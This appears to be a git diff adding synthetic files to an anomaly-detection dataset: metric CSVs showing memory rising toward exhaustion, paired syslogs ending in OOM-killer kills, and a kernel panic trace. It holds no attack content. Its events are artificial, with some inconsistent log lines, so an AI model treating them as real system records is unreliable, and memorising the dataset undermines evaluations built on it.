EFLAGS: 00010246 +Jul 03 10:05:00 kernel: [18921.102430] RAX: 0000000000000000 RBX: ffff880037a07c00 RCX: 0000000000000000 +Jul 03 10:05:00 kernel: [18921.102435] RDX: 0000000000000001 RSI: ffff880037a07c68 RDI: 0000000000000000 +Jul 03 10:05:00 kernel: [18921.102440] RBP: ffff88003a2efc68 R08: ffff880039f60e00 R09: 0000000000000000 +Jul 03 10:05:00 kernel: [18921.102445] R10: ffff880037a07c00 R11: 0000000000000000 R12: ffff880039f60e00 +Jul 03 10:05:00 kernel: [18921.102450] R13: 0000000000000000 R14: ffff880037a07c00 R15: ffff880039f60e00 +Jul 03 10:05:00 kernel: [18921.102455] FS: 0000000000000000(0000) GS:ffff88003f440000(0000) knlGS:0000000000000000 +Jul 03 10:05:00 kernel: [18921.102460] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +Jul 03 10:05:00 kernel: [18921.102465] CR2: 0000000000000000 CR3: 0000000039f0c000 CR4: 00000000001406e0 +Jul 03 10:05:00 kernel: [18921.102470] Stack: +Jul 03 10:05:00 kernel: [18921.102472] ffff88003a2efc88 ffffffff813a3d5f ffff880039f60e00 ffff880037a07c00 +Jul 03 10:05:00 kernel: [18921.102480] ffff88003a2efce8 ffffffff813a4058 ffff880039f60e00 ffff880037a07c68 +Jul 03 10:05:00 kernel: [18921.102488] ffff880037a07c00 ffff880039f61048 ffff88003a2efd18 ffffffff8138b18a +Jul 03 10:05:00 kernel: [18921.102495] Call Trace: +Jul 03 10:05:00 kernel: [18921.102500] [] submit_bio+0x4f/0x140 +Jul 03 10:05:00 kernel: [18921.102505] [] __submit_bh+0x188/0x1a0 +Jul 03 10:05:00 kernel: [18921.102510] [] __journal_commit_transaction+0x4ba/0x1630 +Jul 03 10:05:00 kernel: [18921.102515] [] ? dequeue_entity+0x1ad/0x660 +Jul 03 10:05:00 kernel: [18921.102520] [] kjournald2+0x125/0x2c0 +Jul 03 10:05:00 kernel: [18921.102525] [] ? wait_woken+0x7f/0x90 +Jul 03 10:05:00 kernel: [18921.102530] [] ? commit_timeout+0x10/0x10 +Jul 03 10:05:00 kernel: [18921.102535] [] kthread+0xd8/0xf0 +Jul 03 10:05:00 kernel: [18921.102540] [] ? kthread_create_on_node+0x1e0/0x1e0 +Jul 03 10:05:00 kernel: [18921.102545] [] ret_from_fork+0x3f/0x70 +Jul 03 10:05:00 kernel: [18921.102550] [] ? kthread_create_on_node+0x1e0/0x1e0 +Jul 03 10:05:00 kernel: [18921.102555] Code: 48 89 e5 41 57 41 56 49 89 f6 41 55 49 89 d5 41 54 48 89 d3 53 48 83 ec 10 48 8b 07 48 8b 40 10 4c 8b 68 08 4d 85 ed 74 2e <48> 8b 40 10 48 85 c0 74 0a 49 63 45 28 4c 89 e8 48 03 43 20 +Jul 03 10:05:00 kernel: [18921.102600] RIP [] generic_make_request+0x14/0x30 +Jul 03 10:05:00 kernel: [18921.102605] RSP CR2: 0000000000000000 +Jul 03 10:05:00 kernel: [18921.102610] ---[ end trace 2a083a2e5df68d58 ]--- +Jul 03 10:05:00 kernel: [18921.102615] Kernel panic - not syncing: Fatal exception in interrupt +Jul 03 10:05:00 kernel: [18921.102620] Kernel Offset: disabled +Jul 03 10:05:00 kernel: [18921.102625] ---[ end Kernel panic - not syncing: Fatal exception in interrupt ]--- diff --git a/anom_dataset/scenario_2/anom_2_1.csv b/anom_dataset/scenario_2/anom_2_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..54ded5fecc5e0700006af9cb6486d851ea73ebc5 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,15.47,35.71,24.3,1.14,1.44 +2025-07-02T10:00:05Z,12.21,35.35,30.46,0.89,1.13 +2025-07-02T10:00:10Z,14.5,36.51,20.38,0.81,1.45 +2025-07-02T10:00:15Z,19.28,37.18,27.96,0.93,0.93 +2025-07-02T10:00:20Z,15.97,37.04,25.14,0.43,1.11 +2025-07-02T10:00:25Z,13.59,37.69,31.19,0.81,1.07 +2025-07-02T10:00:30Z,14.69,37.88,20.08,0.54,1.33 +2025-07-02T10:00:35Z,17.75,37.42,24.77,1.02,1.47 +2025-07-02T10:00:40Z,20.32,38.16,23.69,0.71,1.06 +2025-07-02T10:00:45Z,14.17,39.67,29.56,0.43,1.66 +2025-07-02T10:00:50Z,19.38,42.28,25.04,0.81,1.13 +2025-07-02T10:00:55Z,20.91,42.8,24.02,0.79,1.43 +2025-07-02T10:01:00Z,19.8,44.35,33.06,0.74,1.1 +2025-07-02T10:01:05Z,17.49,43.72,27.45,0.99,0.96 +2025-07-02T10:01:10Z,19.36,43.65,29.23,0.77,1.47 +2025-07-02T10:01:15Z,16.02,45.17,19.96,0.79,0.54 +2025-07-02T10:01:20Z,16.49,45.12,25.66,1.14,1.74 +2025-07-02T10:01:25Z,17.95,46.46,24.03,1.02,0.97 +2025-07-02T10:01:30Z,18.54,46.84,20.45,1.09,1.26 +2025-07-02T10:01:35Z,16.78,47.17,25.12,1.01,0.92 +2025-07-02T10:01:40Z,16.99,50.19,23.17,0.94,1.63 +2025-07-02T10:01:45Z,17.38,49.96,21.02,1.01,0.94 +2025-07-02T10:01:50Z,12.73,50.87,26.89,0.7,1.68 +2025-07-02T10:01:55Z,15.23,50.95,25.41,0.62,1.09 +2025-07-02T10:02:00Z,16.93,51.52,25.0,0.99,0.5 +2025-07-02T10:02:05Z,15.06,52.56,25.98,0.98,1.25 +2025-07-02T10:02:10Z,15.12,53.26,23.49,0.7,1.1 +2025-07-02T10:02:15Z,15.42,53.94,24.65,0.81,1.27 +2025-07-02T10:02:20Z,18.94,54.24,22.73,0.68,1.5 +2025-07-02T10:02:25Z,15.64,53.96,21.05,0.77,1.32 +2025-07-02T10:02:30Z,13.61,56.57,26.11,0.73,1.12 +2025-07-02T10:02:35Z,14.52,57.19,25.19,0.98,1.57 +2025-07-02T10:02:40Z,14.95,57.46,20.35,1.17,0.81 +2025-07-02T10:02:45Z,15.65,58.57,23.06,0.62,1.24 +2025-07-02T10:02:50Z,16.6,58.32,26.4,0.82,0.92 +2025-07-02T10:02:55Z,13.58,60.06,21.22,0.68,0.95 +2025-07-02T10:03:00Z,16.87,59.62,19.03,0.68,1.61 +2025-07-02T10:03:05Z,16.27,59.88,23.19,0.92,1.42 +2025-07-02T10:03:10Z,17.65,61.62,28.01,1.08,1.3 +2025-07-02T10:03:15Z,19.54,61.88,26.98,0.57,1.45 +2025-07-02T10:03:20Z,20.76,64.17,23.93,0.75,1.11 +2025-07-02T10:03:25Z,16.85,65.24,22.62,0.74,1.19 +2025-07-02T10:03:30Z,16.55,65.31,21.12,0.88,0.99 +2025-07-02T10:03:35Z,16.07,65.67,19.79,0.81,1.35 +2025-07-02T10:03:40Z,19.66,66.09,27.8,0.76,1.17 +2025-07-02T10:03:45Z,16.57,66.36,24.55,0.74,1.17 +2025-07-02T10:03:50Z,18.2,67.12,27.6,0.81,1.7 +2025-07-02T10:03:55Z,21.37,68.11,21.71,0.83,1.09 +2025-07-02T10:04:00Z,12.61,68.95,24.55,0.93,1.16 +2025-07-02T10:04:05Z,16.28,69.16,24.22,1.03,1.36 +2025-07-02T10:04:10Z,20.25,71.62,25.63,0.76,1.07 +2025-07-02T10:04:15Z,17.76,72.77,23.65,0.58,1.5 +2025-07-02T10:04:20Z,18.76,72.33,27.27,0.61,1.48 +2025-07-02T10:04:25Z,20.55,73.76,21.63,0.87,1.25 +2025-07-02T10:04:30Z,17.66,74.07,25.63,0.85,1.81 +2025-07-02T10:04:35Z,20.92,73.46,25.21,0.64,1.32 +2025-07-02T10:04:40Z,24.0,74.47,23.41,1.18,1.17 +2025-07-02T10:04:45Z,20.95,74.76,20.04,0.88,2.0 +2025-07-02T10:04:50Z,22.62,76.08,28.0,0.58,1.95 +2025-07-02T10:04:55Z,16.34,76.38,22.49,0.75,1.16 +2025-07-02T10:05:00Z,22.71,78.8,20.07,0.57,1.47 +2025-07-02T10:05:05Z,17.28,79.64,25.19,0.55,1.04 +2025-07-02T10:05:10Z,20.17,80.12,25.96,0.52,1.48 +2025-07-02T10:05:15Z,17.68,80.14,28.6,0.72,1.55 +2025-07-02T10:05:20Z,21.57,81.28,29.2,0.46,1.21 +2025-07-02T10:05:25Z,17.7,81.9,24.53,0.63,1.4 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+2025-07-02T10:07:10Z,23.97,97.57,99.0,0.83,0.92 +2025-07-02T10:07:15Z,22.29,97.01,92.98,0.43,1.21 +2025-07-02T10:07:20Z,22.57,96.88,86.99,0.86,0.91 +2025-07-02T10:07:25Z,21.06,98.45,99.0,0.55,1.15 diff --git a/anom_dataset/scenario_2/anom_2_1.log b/anom_dataset/scenario_2/anom_2_1.log new file mode 100644 index 0000000000000000000000000000000000000000..3deaad2cb45e49324aa4c828e1fa7195732fe6e1 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_1.log @@ -0,0 +1,13 @@ +Jul 02 10:00:00 systemd[1]: Starting Daily apt download activities... +Jul 02 10:00:10 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:00:25 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:05 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:02:05 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Jul 02 10:03:05 kubelet[2345]: INFO Liveness probe for container 'main-app' in pod 'web-app-7bdf9f5c4f-abcde' succeeded +Jul 02 10:04:10 systemd[1]: Finished Daily apt download activities. +Jul 02 10:05:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:00 sshd[10234]: Connection closed by 192.168.1.101 port 55234 +Jul 02 10:06:45 kernel: [12345.678901] web-app invoked oom-killer: gfp_mask=0x100cca(GFP_HIGHUSER_MOVABLE), order=0, oom_score_adj=0 +Jul 02 10:06:45 kernel: [12345.679102] CPU: 1 PID: 5432 Comm: web-app Not tainted 5.4.0-100-generic #113-Ubuntu +Jul 02 10:06:45 kernel: [12345.680234] Memory cgroup out of memory: Killed process 5432 (web-app) total-vm:1854464kB, anon-rss:891234kB, file-rss:0kB, shmem-rss:0kB +Jul 02 10:06:47 systemd[1]: session-c2.scope: A process was killed by the OOM killer. diff --git a/anom_dataset/scenario_2/anom_2_10.csv b/anom_dataset/scenario_2/anom_2_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..17d376e420a356cb6c6e74d9159891cb49a72b0f --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_10.csv @@ -0,0 +1,91 @@ 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+2025-07-02T11:06:35Z,13.41,91.81,12.47,1.37,1.21 +2025-07-02T11:06:40Z,11.22,93.3,5.0,0.88,1.14 +2025-07-02T11:06:45Z,12.73,93.72,14.63,1.09,1.01 +2025-07-02T11:06:50Z,14.63,93.86,8.72,1.19,1.68 +2025-07-02T11:06:55Z,9.25,93.88,11.19,1.31,0.82 +2025-07-02T11:07:00Z,15.6,94.64,11.68,0.99,1.58 +2025-07-02T11:07:05Z,14.13,94.71,12.86,0.59,1.87 +2025-07-02T11:07:10Z,11.53,94.79,11.24,0.75,1.52 +2025-07-02T11:07:15Z,10.58,97.17,107.15,0.72,1.15 +2025-07-02T11:07:20Z,14.07,98.07,109.08,1.19,1.87 +2025-07-02T11:07:25Z,12.69,99.9,83.15,0.68,1.49 diff --git a/anom_dataset/scenario_2/anom_2_10.log b/anom_dataset/scenario_2/anom_2_10.log new file mode 100644 index 0000000000000000000000000000000000000000..a8be98bc7e4877afd59db18f83b462ab8b791099 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_10.log @@ -0,0 +1,17 @@ +Jul 02 11:01:00 kubelet[2345]: INFO routine sync completed for pod web-app-memory-leak +Jul 02 11:01:15 systemd[1]: Started Session 180 of user ubuntu. +Jul 02 11:01:50 CRON[19122]: (root) CMD ( /usr/lib/fs/xfs/xfs_scrub_all -s -n) +Jul 02 11:02:00 kubelet[2345]: INFO routine sync completed for pod web-app-memory-leak +Jul 02 11:02:30 systemd[1]: Started Session 360 of user ubuntu. +Jul 02 11:03:00 kubelet[2345]: INFO routine sync completed for pod web-app-memory-leak +Jul 02 11:03:40 CRON[19144]: (root) CMD ( /usr/lib/fs/xfs/xfs_scrub_all -s -n) +Jul 02 11:03:45 systemd[1]: Started Session 540 of user ubuntu. +Jul 02 11:04:00 kubelet[2345]: INFO routine sync completed for pod web-app-memory-leak +Jul 02 11:05:00 systemd[1]: Started Session 720 of user ubuntu. +Jul 02 11:05:30 CRON[19166]: (root) CMD ( /usr/lib/fs/xfs/xfs_scrub_all -s -n) +Jul 02 11:06:00 kubelet[2345]: INFO routine sync completed for pod web-app-memory-leak +Jul 02 11:06:15 systemd[1]: Started Session 900 of user ubuntu. +Jul 02 11:07:00 kubelet[2345]: INFO routine sync completed for pod web-app-memory-leak +Jul 02 11:07:20 CRON[19188]: (root) CMD ( /usr/lib/fs/xfs/xfs_scrub_all -s -n) +Jul 02 11:07:25 kernel: [18234.567890] Out of memory: Kill process 21589 (leaky_app) score 958 or sacrifice child +Jul 02 11:07:25 kernel: [18234.569912] Killed process 21589 (leaky_app) total-vm:8123456kB, anon-rss:7891234kB, file-rss:0kB, shmem-rss:0kB diff --git a/anom_dataset/scenario_2/anom_2_11.csv b/anom_dataset/scenario_2/anom_2_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..4809d60f610ad38bf2f8dd21a75f4305cb8b067a --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,14.03,20.0,26.96,0.97,1.36 +2025-07-03T10:00:05Z,12.95,21.27,15.59,0.95,1.18 +2025-07-03T10:00:10Z,17.61,20.76,17.66,0.79,0.97 +2025-07-03T10:00:15Z,12.95,23.06,19.07,0.85,1.17 +2025-07-03T10:00:20Z,14.71,21.69,21.88,0.7,1.26 +2025-07-03T10:00:25Z,14.73,24.56,22.17,1.12,1.04 +2025-07-03T10:00:30Z,15.53,26.35,14.01,0.86,1.22 +2025-07-03T10:00:35Z,14.2,27.3,18.42,1.09,1.02 +2025-07-03T10:00:40Z,13.37,27.33,14.7,0.7,1.39 +2025-07-03T10:00:45Z,17.13,27.71,14.85,0.73,1.37 +2025-07-03T10:00:50Z,18.33,25.2,26.86,0.8,1.46 +2025-07-03T10:00:55Z,15.64,29.52,22.52,0.73,1.19 +2025-07-03T10:01:00Z,15.83,31.16,16.11,0.84,0.93 +2025-07-03T10:01:05Z,16.52,33.57,19.94,0.69,1.27 +2025-07-03T10:01:10Z,16.91,30.82,27.75,0.75,0.85 +2025-07-03T10:01:15Z,16.73,33.34,20.25,0.63,1.09 +2025-07-03T10:01:20Z,20.69,36.52,16.21,0.72,1.46 +2025-07-03T10:01:25Z,16.04,35.29,18.92,1.0,1.26 +2025-07-03T10:01:30Z,18.48,35.64,16.08,0.67,1.51 +2025-07-03T10:01:35Z,18.45,38.24,15.76,0.77,0.96 +2025-07-03T10:01:40Z,18.2,40.94,16.8,0.94,0.76 +2025-07-03T10:01:45Z,18.32,40.05,14.93,0.43,1.06 +2025-07-03T10:01:50Z,17.13,39.32,21.36,0.35,0.76 +2025-07-03T10:01:55Z,17.9,41.62,15.46,1.11,1.49 +2025-07-03T10:02:00Z,17.15,43.69,17.83,0.94,0.88 +2025-07-03T10:02:05Z,18.74,39.93,17.4,1.06,1.63 +2025-07-03T10:02:10Z,16.33,44.65,14.27,1.18,0.96 +2025-07-03T10:02:15Z,17.56,44.47,21.43,0.92,1.04 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+2025-07-03T10:07:20Z,23.13,100.0,93.28,0.86,1.56 +2025-07-03T10:07:25Z,14.52,100.0,95.36,0.66,0.92 diff --git a/anom_dataset/scenario_2/anom_2_11.log b/anom_dataset/scenario_2/anom_2_11.log new file mode 100644 index 0000000000000000000000000000000000000000..196a97ad41d774f6d5708061fd8dba98046d9a34 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_11.log @@ -0,0 +1,27 @@ +Jul 03 10:00:00 web-server[1123]: GET /api/health HTTP/1.1 200 OK +Jul 03 10:00:35 CRON[800]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:00:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app +Jul 03 10:01:10 CRON[1500]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:01:15 web-server[1123]: GET /api/health HTTP/1.1 200 OK +Jul 03 10:01:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app +Jul 03 10:01:45 CRON[2200]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:02:20 CRON[2900]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:02:30 web-server[1123]: GET /api/health HTTP/1.1 200 OK +Jul 03 10:02:55 CRON[3600]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:03:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app +Jul 03 10:03:30 CRON[4300]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:03:45 web-server[1123]: GET /api/health HTTP/1.1 200 OK +Jul 03 10:04:05 CRON[5000]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:04:10 kubelet[2345]: INFO Liveness probe succeeded for pod web-app +Jul 03 10:04:40 CRON[5700]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:05:00 web-server[1123]: GET /api/health HTTP/1.1 200 OK +Jul 03 10:05:15 CRON[6400]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:05:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app +Jul 03 10:06:15 web-server[1123]: GET /api/health HTTP/1.1 200 OK +Jul 03 10:06:20 kernel: [12345.678901] web-app invoked oom-killer: gfp_mask=0x100cca(GFP_HIGHUSER_MOVABLE), order=0, oom_score_adj=0 +Jul 03 10:06:25 kernel: [12345.987654] Out of memory: Kill process 1123 (web-app) score 988 or sacrifice child +Jul 03 10:06:25 kernel: [12345.987999] Killed process 1123 (web-app) total-vm:3213212kB, anon-rss:1543210kB, file-rss:0kB, shmem-rss:0kB +Jul 03 10:06:25 CRON[7800]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:06:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app +Jul 03 10:07:00 CRON[8500]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:07:25 systemd[1]: session-1.scope: Succeeded. diff --git a/anom_dataset/scenario_2/anom_2_12.csv b/anom_dataset/scenario_2/anom_2_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..00daf37b91499c8e5bff83ae7425c582ff9ea601 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,15.43,35.0,11.05,0.99,1.19 +2025-07-02T11:00:05Z,17.06,36.14,19.97,0.54,1.35 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+2025-07-02T11:06:50Z,20.07,90.29,61.85,0.64,1.04 +2025-07-02T11:06:55Z,20.53,90.84,78.64,1.1,0.97 +2025-07-02T11:07:00Z,21.24,91.27,91.57,0.8,1.2 +2025-07-02T11:07:05Z,22.07,91.6,118.44,0.53,1.23 +2025-07-02T11:07:10Z,19.48,91.84,144.69,0.66,1.04 +2025-07-02T11:07:15Z,20.53,92.03,145.57,1.08,1.45 +2025-07-02T11:07:20Z,23.43,92.18,164.94,0.74,1.44 +2025-07-02T11:07:25Z,22.67,92.34,182.45,0.99,1.1 diff --git a/anom_dataset/scenario_2/anom_2_12.log b/anom_dataset/scenario_2/anom_2_12.log new file mode 100644 index 0000000000000000000000000000000000000000..9618b344173ff4e48a8839774af69a95e43d73fa --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_12.log @@ -0,0 +1,23 @@ +Jul 02 11:00:45 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 02 11:01:25 systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 02 11:02:15 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 11:02:50 CRON[15389]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Jul 02 11:03:00 kubelet[2345]: INFO routine sync completed for pod web-app-12657 +Jul 02 11:03:25 sshd[16751]: Accepted publickey for user admin from 10.0.1.5 port 50421 ssh2 +Jul 02 11:03:40 systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 02 11:04:30 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 02 11:04:40 systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 02 11:04:55 sshd[16739]: Accepted publickey for user admin from 10.0.1.5 port 50057 ssh2 +Jul 02 11:05:20 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 11:05:45 kubelet[2345]: INFO routine sync completed for pod web-app-19973 +Jul 02 11:05:50 sshd[18455]: Accepted publickey for user admin from 10.0.1.5 port 53852 ssh2 +Jul 02 11:06:30 systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 02 11:06:40 systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 02 11:06:45 CRON[19752]: (root) CMD ( /usr/sbin/logrotate /etc/logrotate.conf) +Jul 02 11:06:55 sshd[10662]: Accepted publickey for user admin from 10.0.1.5 port 40916 ssh2 +Jul 02 11:07:15 kernel: [181562.345123] java invoked oom-killer: gfp_mask=0x100cca(GFP_HIGHUSER_MOVABLE), order=0, oom_score_adj=0 +Jul 02 11:07:15 kernel: [181562.345130] CPU: 1 PID: 12345 Comm: java Not tainted 5.4.0-150-generic #167-Ubuntu +Jul 02 11:07:15 kernel: [181562.345200] oom_kill_process: 12345 (java), score 988, pts/0, oom_score_adj 0 +Jul 02 11:07:15 kernel: [181562.345250] Out of memory: Kill process 12345 (java) score 988 or sacrifice child +Jul 02 11:07:15 kernel: [181562.345255] Killed process 12345 (java) total-vm:25169496kB, anon-rss:16223456kB, file-rss:0kB, shmem-rss:0kB +Jul 02 11:07:15 systemd[1]: session-c5.scope: A process of this unit has been killed by the OOM killer. diff --git a/anom_dataset/scenario_2/anom_2_13.csv b/anom_dataset/scenario_2/anom_2_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..83ba1d18acec7b3f92eba8e39a1195cac7de2cbb --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-23T14:00:00Z,22.44,35.0,27.22,0.64,1.05 +2025-08-23T14:00:05Z,19.35,35.0,34.7,0.51,1.66 +2025-08-23T14:00:10Z,20.49,35.0,18.75,0.52,0.92 +2025-08-23T14:00:15Z,22.49,35.81,19.1,0.88,1.05 +2025-08-23T14:00:20Z,23.86,36.18,34.21,1.0,1.31 +2025-08-23T14:00:25Z,19.63,38.05,22.46,0.92,1.32 +2025-08-23T14:00:30Z,24.85,39.19,23.5,0.66,1.25 +2025-08-23T14:00:35Z,21.5,42.03,31.36,0.71,1.36 +2025-08-23T14:00:40Z,28.33,42.83,26.81,1.06,1.27 +2025-08-23T14:00:45Z,17.22,42.49,21.23,0.48,1.01 +2025-08-23T14:00:50Z,20.34,43.36,26.68,0.91,1.07 +2025-08-23T14:00:55Z,16.27,43.14,32.69,1.03,1.61 +2025-08-23T14:01:00Z,18.31,43.14,24.67,0.84,1.15 +2025-08-23T14:01:05Z,17.79,43.82,29.53,0.92,1.15 +2025-08-23T14:01:10Z,15.18,43.54,16.57,0.3,1.41 +2025-08-23T14:01:15Z,20.48,45.06,16.05,0.85,1.33 +2025-08-23T14:01:20Z,20.43,46.53,23.13,0.6,1.17 +2025-08-23T14:01:25Z,19.68,47.23,34.48,0.79,1.08 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(root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 23 14:00:50 sshd[18231]: pam_unix(sshd:session): session opened for user admin by (uid=0) +Aug 23 14:01:00 app_server[5432]: INFO: Request received: GET /api/v1/health +Aug 23 14:01:00 app_server[5432]: INFO: Responded with status 200 OK +Aug 23 14:01:40 CRON[21011]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 23 14:02:00 app_server[5432]: INFO: Request received: GET /api/v1/health +Aug 23 14:02:00 app_server[5432]: INFO: Responded with status 200 OK +Aug 23 14:02:15 sshd[18231]: Accepted publickey for user admin from 10.0.1.5 port 49822 ssh2 +Aug 23 14:02:55 sshd[18231]: pam_unix(sshd:session): session opened for user admin by (uid=0) +Aug 23 14:02:55 CRON[21011]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 23 14:03:00 app_server[5432]: INFO: Request received: GET /api/v1/health +Aug 23 14:03:00 app_server[5432]: INFO: Responded with status 200 OK +Aug 23 14:04:00 app_server[5432]: INFO: Request received: GET /api/v1/health +Aug 23 14:04:00 app_server[5432]: INFO: Responded with status 200 OK +Aug 23 14:04:10 CRON[21011]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 23 14:04:20 sshd[18231]: Accepted publickey for user admin from 10.0.1.5 port 49822 ssh2 +Aug 23 14:05:00 sshd[18231]: pam_unix(sshd:session): session opened for user admin by (uid=0) +Aug 23 14:05:00 app_server[5432]: INFO: Request received: GET /api/v1/health +Aug 23 14:05:00 app_server[5432]: INFO: Responded with status 200 OK +Aug 23 14:05:25 CRON[21011]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 23 14:06:00 app_server[5432]: INFO: Request received: GET /api/v1/health +Aug 23 14:06:00 app_server[5432]: INFO: Responded with status 200 OK +Aug 23 14:06:25 sshd[18231]: Accepted publickey for user admin from 10.0.1.5 port 49822 ssh2 +Aug 23 14:06:40 CRON[21011]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 23 14:07:00 app_server[5432]: INFO: Request received: GET /api/v1/health +Aug 23 14:07:00 app_server[5432]: INFO: Responded with status 200 OK +Aug 23 14:07:05 sshd[18231]: pam_unix(sshd:session): session opened for user admin by (uid=0) +Aug 23 14:07:10 kernel: [18345.678912] Out of memory: Kill process 5432 (app_server) score 982 or sacrifice child +Aug 23 14:07:10 kernel: [18345.679845] Killed process 5432 (app_server), total-vm:8345108kB, anon-rss:4123456kB, file-rss:0kB, shmem-rss:0kB diff --git a/anom_dataset/scenario_2/anom_2_14.csv b/anom_dataset/scenario_2/anom_2_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..f84a0547f8315f1ef7dcb1406905b3bcc6c28cdd --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,13.85,39.45,17.66,0.69,1.0 +2025-07-02T10:00:05Z,17.39,39.5,23.23,0.59,1.37 +2025-07-02T10:00:10Z,16.69,40.47,24.74,1.0,1.11 +2025-07-02T10:00:15Z,18.2,40.02,15.41,0.88,0.98 +2025-07-02T10:00:20Z,20.62,41.51,16.79,0.95,1.22 +2025-07-02T10:00:25Z,19.59,43.32,21.41,0.88,1.28 +2025-07-02T10:00:30Z,19.27,43.7,16.07,0.82,1.29 +2025-07-02T10:00:35Z,17.05,43.72,24.04,0.76,1.13 +2025-07-02T10:00:40Z,17.22,43.15,21.35,0.73,1.56 +2025-07-02T10:00:45Z,14.82,44.07,21.73,0.97,1.16 +2025-07-02T10:00:50Z,12.74,47.3,24.7,0.9,1.4 +2025-07-02T10:00:55Z,13.02,47.65,17.1,0.96,0.96 +2025-07-02T10:01:00Z,13.6,46.66,28.45,0.9,1.1 +2025-07-02T10:01:05Z,10.48,46.5,17.65,0.68,1.21 +2025-07-02T10:01:10Z,9.28,46.93,28.05,0.87,0.85 +2025-07-02T10:01:15Z,9.66,50.64,15.77,0.61,1.27 +2025-07-02T10:01:20Z,10.76,51.01,26.35,0.93,1.1 +2025-07-02T10:01:25Z,12.29,49.26,24.98,0.93,1.27 +2025-07-02T10:01:30Z,16.07,50.17,29.33,1.18,1.1 +2025-07-02T10:01:35Z,15.04,50.46,15.52,1.14,1.3 +2025-07-02T10:01:40Z,18.49,52.93,18.59,0.88,1.34 +2025-07-02T10:01:45Z,18.48,53.53,27.29,0.67,1.11 +2025-07-02T10:01:50Z,21.03,52.94,16.3,0.4,1.18 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+2025-07-02T10:03:35Z,20.63,67.64,15.05,1.03,0.97 +2025-07-02T10:03:40Z,16.55,67.03,22.54,0.71,0.91 +2025-07-02T10:03:45Z,11.78,70.52,17.94,0.63,1.24 +2025-07-02T10:03:50Z,11.19,70.78,28.03,0.8,1.26 +2025-07-02T10:03:55Z,11.33,70.78,20.89,0.82,1.35 +2025-07-02T10:04:00Z,10.04,71.21,29.97,0.41,1.18 +2025-07-02T10:04:05Z,7.0,71.02,27.74,0.89,1.16 +2025-07-02T10:04:10Z,10.88,73.11,20.68,0.9,1.17 +2025-07-02T10:04:15Z,12.26,73.78,21.58,0.64,1.37 +2025-07-02T10:04:20Z,14.44,73.29,24.3,0.73,1.38 +2025-07-02T10:04:25Z,12.07,73.76,17.1,0.8,1.43 +2025-07-02T10:04:30Z,18.09,73.51,18.35,0.73,1.0 +2025-07-02T10:04:35Z,18.14,77.21,29.34,0.72,0.95 +2025-07-02T10:04:40Z,20.16,76.62,15.56,0.9,1.36 +2025-07-02T10:04:45Z,19.57,76.9,21.12,0.64,0.93 +2025-07-02T10:04:50Z,18.77,77.05,15.77,0.87,1.19 +2025-07-02T10:04:55Z,18.05,77.41,15.03,0.87,1.32 +2025-07-02T10:05:00Z,16.93,80.04,24.53,0.46,1.04 